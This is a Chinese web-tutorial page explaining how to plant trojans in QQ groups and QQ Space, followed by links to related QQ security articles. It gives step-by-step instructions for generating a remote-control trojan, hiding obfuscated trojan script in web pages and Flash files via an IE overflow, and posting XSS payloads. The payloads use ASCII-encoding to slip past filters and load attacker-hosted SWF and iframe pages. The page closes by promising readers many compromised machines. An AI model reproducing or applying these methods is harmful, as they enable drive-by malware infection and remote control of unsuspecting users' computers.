QQ木马到底怎么做?QQ挂马方法大揭密

2016-02-20 23:07 55 1 收藏

每个人都希望每天都是开心的,不要因为一些琐事扰乱了心情还,闲暇的时间怎么打发,关注图老师可以让你学习更多的好东西,下面为大家推荐QQ木马到底怎么做?QQ挂马方法大揭密,赶紧看过来吧!

【 tulaoshi.com - QQ专区 】

     网用户每天都在使用QQ,大家往往注重于QQ尾巴病毒、QQ传木马之类的攻击方式,却很少有人注意到我们经常访问的QQ群、QQ空间里面隐藏着更大的安全危险,远比QQ尾巴病毒、QQ传木马之类的隐蔽得多,危害更加大。今天我们就来看看攻击者是如何在QQ群和QQ空间中挂上网页木马,攻击浏览用户的!
  一、QQ群中简简单单挂木马
  在一个比较火的QQ群里挂上网页木马,一定很容易得到许多肉鸡的。怎么在QQ群里挂马,是在群里面群发木马的网址吗?现在已经不会有人上这样的当了。我们要作的只是在群里面发一个作了手脚的帖子。
  步骤一:制作网页木马
  在攻击前,我们首先要制作好一个木马网页。这里笔者使用了“上兴远程控制木马V2006”,这个木马功能非常强,以前笔者曾作过介绍。用上兴生成木马服务端程序“muma.exe”后,将服务端上传到某个网站上去,假设地址为“http://www.binghewu.com.cn/muma.exe”。
  打开“南域剑盟网页木马生成器”,在中间的“URL”处填入木马的链接地址,点击“生成”按钮,将会在生成器当前目录下生成一个名为“script.txt”的文件(如图1)。用记事本打开刚才生成的“script.txt”文件,可以看到木马代码,代码是经过加密的,一般人很难看出这是网页木马代码来(如图2)。复制所有代码,然后将代码插入到任意一个正常的网页中,就可以得到一个网页木马了。
  小提示:将木马代码插入正常的网页中,其位置一般是位于“”标记中间。

图1 用木马生成器生成木马代码

图2 加密的木马代码…


  步骤二:制作SWF木马
  在以前的QQ群中,本来只需要发一张带图片的帖子就可以实现挂马的目的。不过现在QQ群也改版了,挂马就需要多一个步骤了,我们还需要将网页木马嵌入Flash文件中。
  打开“SWF插马工具(Icode To SWF)”,在“SWF文件”中浏览选择本机上的某个正常的Flash文件;在“插入代码”中填写刚才与在的网页木马的链接地址(如图3)。然后点击“给我插”按钮,即可将网页木马链接插入到正常的Flash文件中了。SWF插马工具生成的Flash文件是利用了一个IE漏洞,对方打开Flash文件后,就会造成IE溢出,自动访问木马网页在后台下载运行木马程序。

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com)

图3 生成SWF木马


  步骤三:在QQ群中挂马
  首先将刚才生成的SWF木马文件上传到某个空间中,然后打开某个QQ群的BBS栏目,点击“发表新文章”。在新文章书写页面中点击“插入Flash”按钮,输入SWF木马文件的网络链接地址及长宽,然后点击后面的小钩按钮,插入Flash文件(如图4)。发表新文章后,当有人在QQ群中打开查看这篇文章时,就会自动播放Flash并在后台下载运行上兴木马服务端了。

图4 在QQ群中发布Flash木马


  小提示:当然我们也可以直接在QQ群中散布SWF木马文件的网址,别人点击后一样会中木马,不过这种方式不如发布文章隐蔽和效果好,攻击的持续性也不强。
二、QQ空间玩挂马
  自从腾讯推出QQ空间(QQ-zone)后,各种跨站漏洞便不断暴出。虽然腾讯已经对QQ-zone进行了一次全面的更新,禁止了运行自定义脚本,不过通过我们的测试,发现所做的限制是很简单的,只需要转换一下字符就可以突破限制,在QQ空间上任意挂马。
  方法一:挂Flash木马
  打开QQ空间后,在页面中点击“自定义”按钮,在弹出的工具条上依次单击“个性设置”→“新建模块”命令,也可在QQ空间页面中直接按下+组合键,打开自定义对话框。在弹出的网页对话框中输入任意“模块名称”,点击“提交”按钮,弹出创建成功的提示框。然后出现“添加内容”对话框,将其中的“网址”、“图片”中自带的“http://”删除,保持“链接名称”为空白。在“评论”中输入如下代码(如图5):
以下是引用片段:
“img src="javascript:document.getElementById('MLogo').innerHTML+='div style='position:absolute;top:0;left:0;'EMBED src='http://www.binghewu.com.cn/muma.swf' quality=high wmode='transparent' WIDTH='925' HEIGHT='655' TYPE='application/x-shockwave-flash'/div';" ”
  代码中的Flash地址“http://www.binghewu.com.cn/muma.swf”,是刚才制作上传的SWF木马链接地址,可以更改为其它任意Flash木马文件地址。提交代码后,用户进入此QQ空间时,会自动打开显示上传的SWF木马Flash,从而在后台下载运行上兴木马服务端程序。

图5 通过自定义模块添加SWF木马


  小提示:QQ空间是通过检测用户提交的代码中,是否含用“javascript”之类的字符进行过滤的。在上面的代码中,将脚本部分代码用ASCII编码之后替换躲过了过滤,如“javascript”可以替换为“javascrip”,“p”为“p”的ASCII编码。具体ASCII编码转换可到“http://www.killadm.ful.cn/ascii.asp”查询(如图6)。

图6 通过网页转换字符ASCII码

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com)


  方法二:挂网页木马
  上面的方法是直接在QQ空间中挂上一个Flash木马文件,实现的方法虽然比较简单,不过这个Flash文件有可能会让别人起疑心。既然我们可以在QQ空间中写入自定义代码,何不干脆直接挂上网页木马呢?
  用上面同样的方法新建一个模块,代码如下:
以下是引用片段:
“div id=DIimg src="javascript:DI.innerHTML='iframe src="http://www.binghewu.com.cn/muma.htm" width=190 height=190 marginwidth=0 marginheight=0 hspace=0 vspace=0 frameborder=0 scrolling=no/iframe'" style=display:none/div”
  同样的,在上面的代码中已经作了ASCII码转换躲过过滤;“http://www.binghewu.com.cn/muma.htm”是网页木马的链接地址,可以换成其它木马网页地址。代码中的其它语句是用来定义模块大小的,由于设置为0,该模块将在QQ空间中被隐藏,但是并不影响木马网页的打开与运行。这里为了说明攻击效果,笔者对代码作了一些修改,将木马网页显示为新浪首页,说明完全可以在QQ空间中打开其它木马网页的(如图7)。中国QQ天空

图7 在QQ空间中挂上的新浪页面


  怎么样,在QQ群和QQ空间中挂马是不是很简单?掌握了这个方法,只要在比较火一点的QQ群或QQ空间中挂上你的木马,你很快就可以肉鸡成群了!

来源:http://www.tulaoshi.com/n/20160220/1649409.html

延伸阅读
标签: 电脑入门
QQ的密码、个人资料和聊天记录能否安全成为至关重要的问题,为了有效地防止聊天记录等本地信息的丢失和被窃可以采取以下有效措施: 1、设置本地消息口令:首先按下鼠标右键,从QQ图标上选择“系统参数”,在“系统参数”视窗选择“安全设置”标签。接着选择“启用本地消息加密”,再依次输入口令并确认口令即可。同时为了保险一定要勾选“启用...
标签: 电脑入门
   1.登录QQ前可打开“查找文件或文件夹”对话框,在“本地硬盘驱动器”范围内输入“qq”进行查找,那些没有改名的盗号软件一般能在查找结果中现出原形,如果有,马上将它删除。 2.用注册向导登录时,可以在号码前加上一长串“0”。这并不影响正常登录,却能迷惑那些木马,因为这类工具多半只能记录9位以下的数字。而面对超出其记录...
漂亮的挂饰怎么做  现在随着网络时代的发展光盘已经落伍了,取而代之的是电脑还有手机的智能所以家里面难免搁置了很多的光盘。光盘是可以制作很多东西的,今天我们要做的就是挂饰。主要是用毛线和光盘进行结合,所以编织毛线很重要也是这里的难点所在。难点不要紧图老师这里有详细图解和编织图,一起来学习一下吧。 材料:光盘、笔、毛...
手机QQ到底想干啥   最近苹果App Store出现了一群异常愤怒的人。在不到一周的时间里,他们在手机QQ的评价栏里打出了近5万条一星评价,直接让手机QQ的口碑创下了历史新低。这群人不是水军,恰恰是恨铁不成钢的手机QQ用户。 的确,这些用户是被上周发布的手机QQ 4.0版给气着了。新版手机QQ在用户界面进一步向微信学习,将所有好...
标签: 电脑入门
有些人郁闷自己的QQ密码为何会被盗,或许是中了专门盗取QQ密码的木马,那我们可以怎样简便的判断呢?下面教大家一招:用鼠标右键就可以快速判断! 首先打开QQ登录窗口,然后再QQ登陆窗口的密码框那里,右击鼠标右键,如果没有任何反应就说明QQ没有感染木马。反之,要是出现了“粘贴”或“从右向左的阅读顺序”等图标,就要注意了,该QQ很有可...

经验教程

557

收藏

14

精华推荐

木马是如何盗取QQ密码的?

木马是如何盗取QQ密码的?

天涯南飘絮

必备:QQ避开木马的小技巧

必备:QQ避开木马的小技巧

柔雪sky

巧妙设置QQ密码气死嚣张木马

巧妙设置QQ密码气死嚣张木马

炫耀男人泪

微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部